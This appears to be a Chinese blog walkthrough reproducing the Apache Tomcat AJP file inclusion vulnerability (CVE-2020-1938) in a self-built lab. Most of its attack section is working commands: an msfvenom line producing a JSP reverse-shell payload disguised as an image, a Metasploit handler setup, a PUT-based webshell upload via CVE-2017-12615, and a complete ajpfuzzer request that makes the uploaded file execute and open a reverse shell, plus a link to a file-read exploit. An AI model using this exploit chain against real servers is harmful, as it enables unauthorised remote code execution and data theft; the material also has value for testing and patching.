tomcat ajp协议安全限制绕过漏洞_Apache Tomcat文件包含漏洞(CVE20201938)复现

一、漏洞背景 2020年02月20日,国家信息安全漏洞共享平台(CNVD)发布了关于Apache Tomcat文件包含漏洞(CVE-2020-1938/CNVD-2020-10487)的安全公告。Tomcat作为一款免费开源轻量级的web应用服务器,广泛应用于并发量不是很高的场合,Tomact默认端口8080用于处理http请求,Tomcat会监听AJP连接器的8009端口,用于与其他Web服务器通过AJP协议进行交互,由于Tomcat AJP协议存在设计缺陷,攻击者可构造特定的payload读取服务器WEB目录下的任意文件以及可以包含任意文件,若存在上传点,可以获取shell,进一步进行远程代码执行。 二、影响版本 Apache Tomcat 6 Apache Tomcat 7 < 7.0.100 Apache Tomcat 8 < 8.5.51 Apache Tomcat 9 < 9.0.31 三、漏洞复现 这里为了更加直观方便的复现CVE-2020-1938,采用WindowsServer + Apache Tomcat 8.5.19环境。 1、搭建环境 首先上官网下载Apache Tomcat 8.5.19,当然别忘了JAVA。 https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.19/ 下载完直接放在服务器任意文件夹,在bin目录开启Tomcat,其实浏览器打开默认端口8080就行,看到熟悉的Tomcat界面说明那就是OK的。 10dc1d020b019585a9b8508bf50a13ac.png 2、msf生成反弹木马 用msf生成一个jsp反弹木马。这里为了更方便接近生产环境我们直接生成一个图片马儿。 bc5fdfcb586ceaa1a73c247401ff8545.png
msfvenom -p java/jsp_shell_reverse_tcp LHOST=本机IP LPORT=监听端口 R >muma.jpg
OK,已经生成了一个文件名为muma.jpg的图片木马。 接下来我们利用一下metasploit中的exploit/multi/handler后门模块进行攻击。 监听 7dacf7a928937977316dd5c253a3854a.png
use exploit/multi/handlerset payload java/jsp_shell_reverse_tcpset lhost 本机IPset lport 监听端口
3、任意文件上传 这里我们顺便就用Apache Tomcat 8.5.19来做一个任意文件上传漏洞的复现,在服务器上修改配置文件/conf/web.xml,允许tomcat用PUT方式提交,使其产生一个任意文件上传的漏洞,不多说,自行脑补CVE-2017-12615。 修改tomcat配置文件/conf/web.xml,添加readonly参数,属性改为false。 5a14fda8a338715366c6077cc7431672.png 抓取tomcat页面数据包,修改提交方式为PUT,构造payload,上传webshell 5fcb22507a1b75f6130e5937dd1b7185.png 访问一下这个webshell 89ace67e216489b05b5a1adfb7e2e02c.png 就可以远程执行任意命令了,当然,如果权限不足的话还得提权,这里就不做演示了。 4、反弹shell 回到正题(接第2篇)假设说某个运行在该版本tomcat上的业务有个上传点,我们在上传目录upload上传了我们刚才生成的反弹图片马。 089b8603980b24e7c57e4cd197020ffb.png 下载一个AJP包构造器ajpfuzzer_v0.6.jar
URL:https://github.com/doyensec/ajpfuzzer/releases
运行java -jarajpfuzzer_v0.6.jar fa05746a4a48a90cd88062be85d8e5b0.png 执行connect 目标ip 8009连接目标端口 8b3477e949fc3341e4a32d72e57c5bf5.png
java -jar ajpfuzzer_v0.6.jarconnect 目标IP 8009
执行下面命令构造并发送AJP包,其中/upload/muma.jpg为上传的木马路径,其中ma.jsp可以换为任意该web项目中没有的jsp文件,这样tomcat才会去调用DefaultServlet. ac5dc67bca519f5af42e4e9a98cd43a3.png
forwardrequest 2 "HTTP/1.1" "/ma.jsp" 192.168.194.133 192.168.194.133 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:ma.jsp","javax.servlet.include.path_info:/upload/muma.jpg","javax.servlet.include.servlet_path:/"
请求发送成功后,ma.jpg被当做jsp解析,成功拿到shell 0dfd0d46336962f4c09322a6872e6bab.png 5、Tomcat Ajp协议文件读取漏洞 用大佬写的EXP直接任意文件读取
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
a96d18e291efc5ded2718411540e81f1.png
KillBoy安全实验室 回归技术本质,引领实战潮流

8b852f48857e17561ea96af82903709a.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值